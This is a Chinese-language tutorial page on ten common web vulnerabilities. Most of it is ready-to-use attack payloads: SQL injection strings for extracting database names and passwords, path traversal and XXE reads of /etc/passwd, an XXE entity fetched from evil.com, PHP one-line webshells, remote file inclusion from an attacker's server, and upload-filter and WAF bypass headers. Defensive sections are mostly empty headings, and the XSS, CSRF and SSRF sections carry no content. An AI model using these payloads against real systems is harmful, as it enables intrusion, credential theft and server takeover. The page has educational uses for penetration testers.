常見Web十大漏洞,常見Web漏洞
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
目錄 一、SQL注入漏洞 分為以下五種注入方式: 查找SQL注入漏洞 Union注入 布爾盲注 報(bào)錯(cuò)注入 時(shí)間盲注 時(shí)間型盲注的加速方式 二、任意文件下載 漏洞原理: 產(chǎn)生原因: 利用條件: 漏洞發(fā)現(xiàn): 漏洞利用方法: 漏洞防護(hù): 三、敏感文件 四、文件包含 漏洞利用 PHP中的封裝協(xié)議(偽協(xié)議) file:// php:// zip:// & bzip2:// & zlib:// data:// phar:// 遠(yuǎn)程文件包含(RFL) 漏洞利用 代碼審計(jì) 漏洞防護(hù) 五、文件上傳 漏洞原理 繞過 黑名單繞過: 白名單繞過: 黑白名單通用 基于WAF: 文件加載檢測(cè)(文件內(nèi)容檢測(cè)) 漏洞防護(hù) 六、命令執(zhí)行 漏洞原理 兩個(gè)條件 命令執(zhí)行漏洞帶來的危害 列子 漏洞防護(hù) 七、代碼執(zhí)行 PHP敏感函數(shù)代碼執(zhí)行 八、XML外部實(shí)體注入 XML基礎(chǔ) 惡意引入外部實(shí)體的三種方式 一、本地引入 二、遠(yuǎn)程引入 三、遠(yuǎn)程引入2 九、xss 漏洞 漏洞原理: xss 分類:(三類) 十、CSRF & SSRF CSRF: SSRF: 一、SQL注入漏洞分為以下五種注入方式:布爾盲注:根據(jù)返回頁面判斷條件真假 延時(shí)注入:用頁面返回時(shí)間是否增加判斷是否存在注入 報(bào)錯(cuò)注入:頁面會(huì)返回錯(cuò)誤信息 聯(lián)合查詢注入:可以使用union的情況下 堆疊注入:可以同時(shí)執(zhí)行多條語句 (mysql_multi_query() 支持多條sql語句同時(shí)執(zhí)行,就是個(gè);分隔,成堆的執(zhí)行sql語句) 查找SQL注入漏洞Union注入id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' --+ union select 1,2,3,group_concat(name,password) from 表名 用字段名從表中取數(shù)據(jù) group_concat(str1,str2,...) 連接一個(gè)組的所有字符串 布爾盲注?id=1' and 1=1 --+ 頁面返回正常 ?id=1' and 1=2 --+ 頁面返回不正常 1'and length(database())>=1--+ 頁面返回正常 1'and length(database())>=13--+ 頁面返回正常 1'and length(database())>=14--+ 頁面返回錯(cuò)誤 由此判斷得到數(shù)據(jù)庫(kù)名的長(zhǎng)度是13個(gè)字符 字符判斷獲取數(shù)據(jù)庫(kù)名; 數(shù)據(jù)庫(kù)名的范圍一般在a~z、0~9之內(nèi),可能還會(huì)有特殊字符 "_"、"-" 等,這里的字母不區(qū)分大小寫。 ' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有區(qū)別,limit從 0 開始排序,這里從 1 開始排序。 用Burp爆破字母a的位置,即可得到數(shù)據(jù)庫(kù)名每個(gè)位置上的字符。 還可以用ASCII碼查詢 a 的ASCII碼是97,在MySQL中使用ord函數(shù)轉(zhuǎn)換ASCII,所以逐字符判斷語句可改為: ' and ord(substr(database(),1,1))=97--+ ASCII碼表中可顯示字符的范圍是:0~127 ' and substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' limit 0,1),1,1)='a'--+ 修改1,1前邊的1~20,逐字符猜解出第一個(gè)表的名 修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)表 ' and substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' limit 0,1),1,1)='a'--+ 修改1,1前邊的1~20,逐字符猜解出第一個(gè)字段的名 修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)字段 報(bào)錯(cuò)注入xpath語法錯(cuò)誤 extractvalue() 查詢節(jié)點(diǎn)內(nèi)容 updatexml() 修改查詢到的內(nèi)容 它們的第二個(gè)參數(shù)都要求是符合xpath語法的字符串 如果不滿足要求則會(huì)報(bào)錯(cuò),并且將查詢結(jié)果放在報(bào)錯(cuò)信息里 這二者里面?zhèn)鲄⒌谝粋€(gè)是兩個(gè)第二個(gè)是三個(gè),但都是改變xpath 主鍵重復(fù)(duplicate entry) floor() --返回小于等于該值的最大整數(shù) 只要是count,rand(),group by 三個(gè)連用就會(huì)造成這種主鍵重復(fù)報(bào)錯(cuò) ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 0x7e是"~"符號(hào)的16進(jìn)制,在這作為分隔符(喜歡哪個(gè)用哪個(gè)) ' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' limit 0,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' limit 0,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 其它函數(shù)payload語法: --extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 時(shí)間盲注' and sleep(5) and 1=1--+ 頁面返回不正常,延時(shí)5秒 ' and sleep(5) and 1=2--+ 頁面返回不正常,不延時(shí) and if(length(database())>1,sleep(5),1) --if(條件表達(dá)式,真,假) --C語言的三目運(yùn)算符類似 and if(substr(database(),1,1)='a',sleep(5),1)--+ 時(shí)間型盲注的加速方式二、任意文件下載漏洞原理:產(chǎn)生原因:利用條件:漏洞發(fā)現(xiàn):
漏洞利用方法:index.php?f=../../../../../../../../../etc/passwd index.php?f=../../../index.php index.php?f=file:///etc/passwd readfile.php?file=/etc/passwd readfile.php?file=../../../../../etc/passwd readfile.php?file=../../../../../../../etc/passwd%00 // 00截?cái)? 注: 當(dāng)參數(shù)f的參數(shù)值為php⽂件時(shí),若是⽂件被解析則是⽂件包含漏洞, 若顯⽰源碼或提⽰下載則是⽂件查看與下載漏洞。 漏洞防護(hù):三、敏感文件/root/.bash_history //用戶終端歷史命令記錄文件 /root/.mysql_history //mysql歷史命令記錄文件 /proc/mounts //記錄系統(tǒng)掛載設(shè)備 /porc/config.gz //內(nèi)核配置文件 /var/lib/mlocate/mlocate.db //全文件路徑 /porc/self/cmdline //當(dāng)前進(jìn)程的cmdline參數(shù) /usr/local/app/apache2/conf/httpd.conf //apache2默認(rèn)配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置 /usr/local/app/php5/lib/php.ini //php相關(guān)設(shè)置 /etc/httpd/conf/httpd.conf //apache配置文件 /etc/php5/apache2/php.ini //ubuntu系統(tǒng)的默認(rèn)路徑 apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授權(quán)用戶)配置文件 apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件 apache-tomcat-8.5.51/conf/web.xml //tomcat應(yīng)用程序的部署描述符文件 apache-tomcat-8.5.51/logs/catalina.out //即tomcat的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)出錯(cuò),所有輸出到這兩個(gè)位置的都會(huì)進(jìn)入catalina.out,這里包含tomcat運(yùn)行自己輸出的日志以及應(yīng)用里向console輸出的日志。 PHP 獲取inc/config.php文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息; ASP 獲取inc/conn.asp文件,獲得數(shù)據(jù)庫(kù)連接字符串口令,得到數(shù)據(jù)庫(kù)口令。若是ACCESS數(shù)據(jù)庫(kù),可以得到數(shù)據(jù)庫(kù)路徑,再下載數(shù)據(jù)庫(kù)內(nèi)容; ASPX 獲取網(wǎng)站根目錄web.config文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息; 獲取bin/*.dll文件,獲取網(wǎng)站源碼(不完整代碼),使用.NET reflector工具打開編譯后的dll文件; JSP 獲取conf/tomcat-user.xml文件,獲得tongcat管理界面的口令信息,上傳war包GetShell; 獲取WEB-INF/Web.xml文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息。 四、文件包含漏洞利用(1)include()、include_noce()、require()、require_once()等函數(shù)通過動(dòng)態(tài)變量的方式引入包含文件; (2)用戶能夠控制該動(dòng)態(tài)變量。 ?arg=/etc/passwd ?arg=php://filter/read=convert.base64-encode/resource=config.php 這樣能看到php文件的源碼 ?php if(isset($_GET['arg'])) { include($_GET['arg'].".php"); }else{ include(index.php); } ?> PHP中的封裝協(xié)議(偽協(xié)議)file://1. file://[文件的絕對(duì)路徑和文件名] http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt 2. file://[文件的相對(duì)路徑和文件名] http://127.0.0.1/include.php?file=./phpinfo.txt 3. file://[網(wǎng)絡(luò)路徑和文件名] http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt php://allow_url_fopen:off/on allow_url_include : 部分需要on (下面列出) php://input php://stdin php://memory php://temp 1. php://filter/read=convert.base64-encode/resource=[文件名] //讀取文件源碼 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php 2.php://input + [POST DATA]執(zhí)行php代碼 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 3.若有寫入權(quán)限,[POST DATA部分] 寫入一句話木馬 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> zip:// & bzip2:// & zlib://1.zip://[壓縮文件絕對(duì)路徑]%23[壓縮文件內(nèi)的子文件名](#編碼為%23) <!--壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳--> http://127.0.0.1/include.php? file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt 2.compress.bzip2://file.bz2 <!--壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)--> http://127.0.0.1/include.php? file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 3.compress.zlib://file.gz <!--壓縮 phpinfo.txt 為 phpinfo.gz--> http://127.0.0.1/include.php? file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz data://1.data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> 2.data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b phar://http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt 遠(yuǎn)程文件包含(RFL)漏洞利用?arg=http://攻擊者的VPS/shell.txt #會(huì)在網(wǎng)站目錄生成名為 shell.php 的一句話木馬 <?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>'); ?> 代碼審計(jì)include() //使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來,發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行。 inclue_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。 require() //使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件發(fā)生錯(cuò)誤時(shí),會(huì)輸出錯(cuò)誤信息并立即終止程序。 require_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。 漏洞防護(hù)
五、文件上傳漏洞原理繞過黑名單繞過:test.php:1.jpg //會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容 test.php::$DATA //會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容 白名單繞過:1)00截?cái)啵? 抓包修改文件名后綴為“php .jpg”,再將空格的十六進(jìn)制改為00(系統(tǒng)在對(duì)文件名進(jìn)行讀取時(shí),如果遇到0x00,就會(huì)認(rèn)為讀取已經(jīng)結(jié)束,系統(tǒng)按二進(jìn)制或十六進(jìn)制讀取文件,遇到ASCII碼為0的位置就停止,而這個(gè)ASCII為0的位置在十六進(jìn)制中是00); 2).htaccess解析漏洞: (只適用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模塊為開啟狀態(tài)):先上傳.htaccess文件(AddType application/x-httpd-php .jpg),再上傳一個(gè)圖片馬文件(jpg),上傳的jpg文件都會(huì)以php文件格式解析。 3)Content-Type: 先上傳正常的圖片文件,查看Content-Type類型。上傳腳本文件(AddType aaplication/x-httpd-php .jpg #將所有后綴為.jpg的文件作為php文件解析),將Content-Type類型改為查看到的類型(image/jpeg、imagepng、imagegif等) 4)Apache解析漏洞: Apache從右向左解析,若不能夠解析最右的后綴,會(huì)遞歸向前解析,直到解析道能夠解析為止,否則會(huì)報(bào)錯(cuò)。 5).user.ini: 適用于服務(wù)器使用CGI/FastCGI模式且目錄下要有可執(zhí)行的php文件,文件內(nèi)容“auto_prepend_file=a.jpg # a.jpg中符合php語言的代碼會(huì)被執(zhí)行”。 6)文件頭檢測(cè): 上傳圖片馬,再修改后綴為可解析腳本語言;或上傳一句話木馬,再將文件中添加正常格式文件頭(GIF89a等)。 黑白名單通用<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> //上傳shell.jpg文件,將解析為php運(yùn)行 基于WAF:1)換行繞過 Content-Disposition:form-data;name="file";filename="1.php" Content-Disposition:form-data;name="file";file name="1.php" Content-Disposition:form-data;name="file";filename= "1.php" 2)多個(gè)等號(hào)繞過 Content-Disposition:form-data;name="file";filename=="1.php" 3)增加文件大小,類似于垃圾字符 Content-Disposition:form-data; qqqqqqqq…qqqqqqqqqqq;name="file";filename="1.php" 4)去掉或替換引號(hào)繞過 Content-Disposition:form-data;name=file;filename=1.php Content-Disposition:form-data;name='file';filename="1.php" 5)增加filename干擾攔截 Content-Disposition:form-data;name="file";filename= ;filename="1.php" 6)混淆waf匹配字段 a.混淆form-data Content-Disposition:name="file";filename="1.php" //去除form-data Content-Disposition:qqqqq="qweqwe";name="file"; filename="1.php" // 替換form-data為垃圾值 Content-Disposition: form-data ; name="file"; filename="1.php" // form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="1.php" // form-data中加+號(hào) b.混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name="file"; filename="1.php" // 大小寫混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" //調(diào)換Content-Type和ConTent-Disposition的順序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 Content-Disposition: form-data; name="file_x";;; filename="test.php" //多個(gè)分號(hào),導(dǎo)致可能解析不到文件名 7)雙文件繞過: 例如安全狗總是以最后一個(gè)Content-Disposition中的值作為接收參數(shù)進(jìn)行檢測(cè),一些中間件例如IIS6.0總是以第一個(gè)Content-Disposition中的值作為接收參數(shù)。 8)容器與waf對(duì)Bounday要求規(guī)則不一致 Content-Type: multipart/form-data; boundary=—————————471114117352599 Content-Length: 253 —————————–471114117352599 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> —————————–471114117352599– 一些waf會(huì)認(rèn)為兩段Boundary不一致的數(shù)據(jù)是無意義的,不進(jìn)行檢測(cè),而容器并沒有嚴(yán)格要求,正常接收數(shù)據(jù)。 9) 條件競(jìng)爭(zhēng) 一些情況再上傳文件時(shí),先上傳到臨時(shí)目錄,然后再檢測(cè),檢測(cè)到再刪除。例如可以上傳生成一句話木馬的文件(fputs(fopen('shell.php','w'),'') ; 上傳同時(shí)瘋狂重復(fù)發(fā)包訪問此文件,就有可能會(huì)在文件被刪除之前生成webshell文件shell.php。 文件加載檢測(cè)(文件內(nèi)容檢測(cè))漏洞防護(hù)1、使用白名單限制可以上傳的文件擴(kuò)展名 2、注意0x00截?cái)喙簦≒HP更新到最新版本) 3、對(duì)上傳后的文件統(tǒng)一隨機(jī)命名,不允許用戶控制擴(kuò)展名 4、上傳文件的存儲(chǔ)目錄禁用執(zhí)行權(quán)限 六、命令執(zhí)行漏洞原理system() //執(zhí)行外部程序,并且顯示輸出 exec() //執(zhí)行一個(gè)外部程序 shell_exec() //通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回 passthru() //執(zhí)行外部程序并且顯示原始輸出 pcntl_exec() //在當(dāng)前進(jìn)程空間執(zhí)行指定程序 popen() //打開進(jìn)程文件指針 proc_open() //執(zhí)行一個(gè)命令,并且打開用來輸入/輸出的文件指針 反引號(hào) 令拼接到正常命令中,從而造成命令執(zhí)行攻擊。 兩個(gè)條件
命令執(zhí)行漏洞帶來的危害繼承Web服務(wù)程序的權(quán)限去執(zhí)行系統(tǒng)命令(任意代碼)或讀寫文件 反彈shell 控制整個(gè)網(wǎng)站甚至控制服務(wù)器 進(jìn)一步內(nèi)網(wǎng)滲透 等 列子<?php $test = $_GET['cmd']; system($test); ?> 漏洞防護(hù)七、代碼執(zhí)行PHP敏感函數(shù)代碼執(zhí)行eval() //把字符串作為PHP代碼執(zhí)行 assert() //檢查一個(gè)斷言是否為 FALSE,可用來執(zhí)行代碼 preg_replace() //執(zhí)行一個(gè)正則表達(dá)式的搜索和替換 call_user_func()//把第一個(gè)參數(shù)作為回調(diào)函數(shù)調(diào)用 call_user_func_array()//調(diào)用回調(diào)函數(shù),并把一個(gè)數(shù)組參數(shù)作為回調(diào)函數(shù)的參數(shù) array_map() //為數(shù)組的每個(gè)元素應(yīng)用回調(diào)函數(shù) 八、XML外部實(shí)體注入XML基礎(chǔ)<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,bodys)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)> ]><!--文檔類型定義--> <note> <to>北京</to><from>石家莊</from> <heading>wintrysec</heading><bodys>wintrysec.github.io</bodys> </note><!--文檔元素--> <message>此文本會(huì)被解析</message> <name><first>Bill</first><last>Gates</last></name> <!--內(nèi)部聲明DTD--> <!DOCTYPE 根元素 [元素聲明]> <!--引用外部DTD--> <!DOCTYPE 根元素 SYSTEM “文件名”> <!--或者--> <!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!--DTD實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內(nèi)部聲明或外部引用。--> <!--內(nèi)部聲明實(shí)體--> <!ENTITY 實(shí)體名稱 “實(shí)體的值"> <!--引用外部實(shí)體--> <!ENTITY 實(shí)體名稱 SYSTEM “URI"> <!--或者--> <!ENTITY 實(shí)體名稱 PUBLIC “public_ID" “URI"> 惡意引入外部實(shí)體的三種方式一、本地引入<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE x[ <!ENTITY wintrysec SYSTEM "file:///etc/passwd"> ]><!--文檔類型定義--> <test>&wintrysec;</test><!--文檔元素--> 二、遠(yuǎn)程引入<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE x[ <!ENTITY %d SYSTEM "http://evil.com/evil.dtd"> %d; ]><!--文檔類型定義--> <test>&wintrysec;</test><!--文檔元素--> <!ENTITY wintrysec SYSTEM “file:///etc/passwd"> 三、遠(yuǎn)程引入2<?xml version="1.0" ?> <!DOCTYPE x SYSTEM "http://evil.com/evil.dtd"> <test>&wintrysec;</test> 九、xss 漏洞漏洞原理:xss 分類:(三類)十、CSRF & SSRFCSRF:SSRF:該文章在 2024/2/29 22:57:02 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |